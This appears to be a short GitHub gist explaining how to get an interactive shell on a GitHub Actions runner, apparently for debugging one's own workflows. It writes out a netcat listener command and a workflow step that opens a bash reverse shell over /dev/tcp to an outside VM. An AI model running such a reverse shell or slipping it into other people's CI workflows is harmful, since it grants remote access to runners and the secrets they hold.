Skip to content

Instantly share code, notes, and snippets.

@robandpdx
Last active May 13, 2024 20:21
Show Gist options
  • Save robandpdx/45e82cc1e82c87a5760263b3a7be8595 to your computer and use it in GitHub Desktop.
Save robandpdx/45e82cc1e82c87a5760263b3a7be8595 to your computer and use it in GitHub Desktop.

How to get a shell on a GH runner

Getting a shell on a GH runner is pretty easy. First, create a linux VM in your favorite cloud provider. Be sure to allow inbound traffic on port 22 and 1337. SSH into that VM and execute the following command:

nc -nvlp 1337

Then run the following workflow in GH actions:

name: Reverse shell
on:
  workflow_dispatch:
  
jobs:
  shell:
    runs-on: ubuntu-latest
    steps:
      - name: Shell
        run: bash -i >& /dev/tcp/<YOUR-VM-IP-ADDRESS>/1337 0>&1

Profit!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment